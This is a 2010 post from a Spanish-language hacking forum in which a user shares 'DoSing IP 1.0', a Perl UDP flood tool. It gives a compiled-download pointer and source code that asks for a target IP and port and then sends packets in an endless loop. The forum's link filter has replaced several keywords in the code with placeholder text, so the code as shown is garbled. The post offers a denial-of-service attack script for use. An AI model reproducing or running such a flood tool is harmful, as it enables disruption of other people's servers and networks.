comment
IRC Chat
play_arrow
Este sitio utiliza cookies propias y de terceros. Si continúa navegando consideramos que acepta el uso de cookies. OK Más Información.

DoSing IP 1.0 - [Creado por SkillmaX] + Source [PERL]

  • 0 Respuestas
  • 1380 Vistas

0 Usuarios y 1 Visitante están viendo este tema.

Desconectado SkillmaX

  • *
  • Underc0der
  • Mensajes: 106
  • Actividad:
    0%
  • Reputación 0
    • Ver Perfil
    • http://lab-skillmax.blogspot.com/
« en: Julio 04, 2010, 10:14:31 am »
Buenas, repasé un poco el tema del perl que hace muchiiisiimo que no lo tocaba, me dio
por reelerme el asunto de los socks, recordé las cosas y pude codearme esta herramienta en perl.

No tienes permisos para ver links. Registrate o Entra con tu cuenta


+ Envio de 30000 socks
+ Mayor rapidéz en el envio
+ UDP


Descarga de el archivo compilado:


No tienes permisos para ver links. Registrate o Entra con tu cuenta

Source utilizado por si alguien quiere modificarlo:

Código: Perl
  1. #!/usr/bin/perl
  2. No tienes permisos para ver links. Registrate o Entra con tu cuenta No tienes permisos para ver links. Registrate o Entra con tu cuenta(
  3. =====================================================
  4.             DDoS en perl
  5.          Creado por SkillmaX
  6.          www.indetectables.net
  7.          www.hackingteam.org
  8.           www.ash-labs.org
  9.           www.level-23.org
  10.    
  11. =====================================================
  12. );
  13.  
  14. use io::No tienes permisos para ver links. Registrate o Entra con tu cuenta;
  15.  
  16. No tienes permisos para ver links. Registrate o Entra con tu cuenta "Introduzca la IP: ";
  17. No tienes permisos para ver links. Registrate o Entra con tu cuenta ($host = <stdin>);
  18. No tienes permisos para ver links. Registrate o Entra con tu cuenta "Introduzca el puerto: ";
  19. No tienes permisos para ver links. Registrate o Entra con tu cuenta ($port = <stdin>);
  20.  
  21. {
  22. $sock = IO::Socket::INET->new (
  23. PeerAddr => $host,
  24. PeerPort => $port,
  25. Proto => 'udp') || No tienes permisos para ver links. Registrate o Entra con tu cuenta "$! Ha introducido algun dato incorrecto, vuelva a intentarlo";
  26. }
  27. packets:
  28. while (1) {
  29. $size = No tienes permisos para ver links. Registrate o Entra con tu cuenta() * 30000 * 300000;
  30. No tienes permisos para ver links. Registrate o Entra con tu cuenta ("$host:$port Conexión enviada: $size\n");
  31. No tienes permisos para ver links. Registrate o Entra con tu cuenta($sock, 0, $size);
  32. }
« Última modificación: Marzo 14, 2015, 09:50:24 am por Expermicid »

 

¿Te gustó el post? COMPARTILO!



Tutorial perl desde cero By: Black Poision & Painboy

Iniciado por ProcessKill

Respuestas: 2
Vistas: 3203
Último mensaje Septiembre 02, 2011, 09:43:36 pm
por blozzter
[Perl] Verificando si es root para correr un script

Iniciado por c1st

Respuestas: 1
Vistas: 1494
Último mensaje Octubre 07, 2012, 06:01:39 pm
por ANTRAX
[Perl] Search in google for scan SQLI

Iniciado por BigBear

Respuestas: 0
Vistas: 1285
Último mensaje Julio 03, 2011, 09:49:49 pm
por BigBear
[Perl] Half Life Servers List 0.1

Iniciado por BigBear

Respuestas: 0
Vistas: 1125
Último mensaje Noviembre 12, 2012, 07:31:50 pm
por BigBear
[Uniscan] Scanner de vulnerabilidades WEB hecho en Perl

Iniciado por tar3kw0rm3d

Respuestas: 0
Vistas: 1625
Último mensaje Junio 02, 2013, 08:01:28 pm
por tar3kw0rm3d